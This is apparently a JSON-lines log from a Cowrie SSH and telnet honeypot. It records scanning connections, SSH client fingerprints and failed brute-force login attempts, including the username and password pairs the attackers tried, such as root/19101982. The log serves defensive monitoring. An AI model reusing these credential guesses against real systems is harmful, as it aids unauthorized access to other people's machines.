{"eventid":"cowrie.session.closed","duration":37.60819482803345,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:59.042797Z","src_ip":"172.81.62.90","session":"87a6cb6bd4d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:00.101680Z","src_ip":"216.155.93.75","session":"01592b11e2c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34482,"dst_ip":"159.203.135.109","dst_port":23,"session":"e716a1c0be94","protocol":"telnet","message":"New connection: 107.6.151.170:34482 (159.203.135.109:23) [session: e716a1c0be94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:03.197054Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34398,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd14ff24444","protocol":"telnet","message":"New connection: 172.81.62.90:34398 (159.203.135.109:23) [session: 2bd14ff24444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:03.366137Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56460,"dst_ip":"159.203.135.109","dst_port":23,"session":"97951bbdc165","protocol":"telnet","message":"New connection: 107.6.151.170:56460 (159.203.135.109:23) [session: 97951bbdc165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:04.228396Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":36968,"dst_ip":"10.17.0.5","dst_port":22,"session":"92bb71be47bb","protocol":"ssh","message":"New connection: 91.92.40.13:36968 (10.17.0.5:22) [session: 92bb71be47bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:18.136405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:18.941142Z","src_ip":"91.92.40.13","session":"92bb71be47bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:18.944331Z","src_ip":"91.92.40.13","session":"92bb71be47bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"12345678","message":"login attempt [apache/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:20.219000Z","src_ip":"91.92.40.13","session":"92bb71be47bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:21.530955Z","src_ip":"91.92.40.13","session":"92bb71be47bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34378,"dst_ip":"159.203.135.109","dst_port":23,"session":"270c371cee28","protocol":"telnet","message":"New connection: 107.6.151.170:34378 (159.203.135.109:23) [session: 270c371cee28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:32.716449Z"}
{"eventid":"cowrie.session.closed","duration":32.22598600387573,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:35.422717Z","src_ip":"107.6.151.170","session":"e716a1c0be94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.88180685043335,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:40.247831Z","src_ip":"172.81.62.90","session":"2bd14ff24444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39436,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d83a94dfad","protocol":"telnet","message":"New connection: 128.199.8.54:39436 (159.203.135.109:23) [session: e6d83a94dfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:42.789371Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":41342,"dst_ip":"10.17.0.5","dst_port":22,"session":"405567b59fbe","protocol":"ssh","message":"New connection: 38.148.249.2:41342 (10.17.0.5:22) [session: 405567b59fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:56.600272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:56.604404Z","src_ip":"38.148.249.2","session":"405567b59fbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:56.673985Z","src_ip":"38.148.249.2","session":"405567b59fbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harshit","password":"harshit","message":"login attempt [harshit/harshit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:56.986271Z","src_ip":"38.148.249.2","session":"405567b59fbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:19:58.058006Z","src_ip":"38.148.249.2","session":"405567b59fbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.11394810676575,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:06.342215Z","src_ip":"107.6.151.170","session":"97951bbdc165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.025994300842285,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:30.742326Z","src_ip":"107.6.151.170","session":"270c371cee28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.014429330825806,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:31.803670Z","src_ip":"128.199.8.54","session":"e6d83a94dfad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":57452,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea4d3dd09a87","protocol":"ssh","message":"New connection: 103.216.145.2:57452 (10.17.0.5:22) [session: ea4d3dd09a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:36.254584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:36.259035Z","src_ip":"103.216.145.2","session":"ea4d3dd09a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:36.457794Z","src_ip":"103.216.145.2","session":"ea4d3dd09a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jmeter","password":"jmeter","message":"login attempt [jmeter/jmeter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:37.273552Z","src_ip":"103.216.145.2","session":"ea4d3dd09a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:38.479677Z","src_ip":"103.216.145.2","session":"ea4d3dd09a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48214,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bce727c3fad","protocol":"telnet","message":"New connection: 172.81.62.90:48214 (159.203.135.109:23) [session: 3bce727c3fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:55.660438Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":38930,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a8d7f1be83","protocol":"ssh","message":"New connection: 43.153.12.68:38930 (10.17.0.5:22) [session: 90a8d7f1be83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:58.690950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:58.694587Z","src_ip":"43.153.12.68","session":"90a8d7f1be83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:58.761662Z","src_ip":"43.153.12.68","session":"90a8d7f1be83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntuuser","password":"ubuntuuser","message":"login attempt [ubuntuuser/ubuntuuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:20:59.065850Z","src_ip":"43.153.12.68","session":"90a8d7f1be83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:00.138103Z","src_ip":"43.153.12.68","session":"90a8d7f1be83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55344,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9d70c56f7c0","protocol":"telnet","message":"New connection: 128.199.8.54:55344 (159.203.135.109:23) [session: d9d70c56f7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:05.798788Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":44980,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c8e6530b1b","protocol":"ssh","message":"New connection: 170.80.65.140:44980 (10.17.0.5:22) [session: 57c8e6530b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:05.850101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:05.854759Z","src_ip":"170.80.65.140","session":"57c8e6530b1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:05.978700Z","src_ip":"170.80.65.140","session":"57c8e6530b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"test","message":"login attempt [testing/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:06.508279Z","src_ip":"170.80.65.140","session":"57c8e6530b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:07.635657Z","src_ip":"170.80.65.140","session":"57c8e6530b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43632,"dst_ip":"10.17.0.5","dst_port":22,"session":"017c090baedb","protocol":"ssh","message":"New connection: 103.15.222.183:43632 (10.17.0.5:22) [session: 017c090baedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:21.271826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:21.275810Z","src_ip":"103.15.222.183","session":"017c090baedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:21.529292Z","src_ip":"103.15.222.183","session":"017c090baedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19101982","message":"login attempt [root/19101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:22.303557Z","src_ip":"103.15.222.183","session":"017c090baedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:23.560600Z","src_ip":"103.15.222.183","session":"017c090baedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.62536263465881,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:32.285671Z","src_ip":"172.81.62.90","session":"3bce727c3fad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":48345,"dst_ip":"159.203.135.109","dst_port":22,"session":"f77d626273c4","protocol":"ssh","message":"New connection: 216.155.93.75:48345 (159.203.135.109:22) [session: f77d626273c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:32.554642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:32.558268Z","src_ip":"216.155.93.75","session":"f77d626273c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:32.710805Z","src_ip":"216.155.93.75","session":"f77d626273c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser2026","message":"login attempt [devuser/devuser2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:33.353819Z","src_ip":"216.155.93.75","session":"f77d626273c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:34.507559Z","src_ip":"216.155.93.75","session":"f77d626273c4","protocol":"ssh"}
